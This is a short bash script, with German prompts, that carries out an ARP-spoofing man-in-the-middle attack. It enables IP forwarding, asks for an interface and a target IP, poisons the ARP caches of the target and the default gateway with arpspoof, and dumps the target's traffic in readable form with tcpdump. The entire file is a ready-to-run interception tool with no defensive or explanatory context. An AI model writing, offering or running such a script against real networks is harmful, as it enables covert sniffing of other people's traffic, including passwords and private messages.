shell-scripte-code/arpspoof.sh

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#!/bin/bash
set -ex
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if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root" 1>&2
exit 1
fi
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echo 1 > /proc/sys/net/ipv4/ip_forward
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read -p "Wie heisst die Schnittstelle? [enp30s0\eth0] : " modul
read -p "Wie heisst die IP? : " ip
gateway=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10)
arpspoof -i $modul -t $ip -r $gateway &
tcpdump -i $modul -A host $ip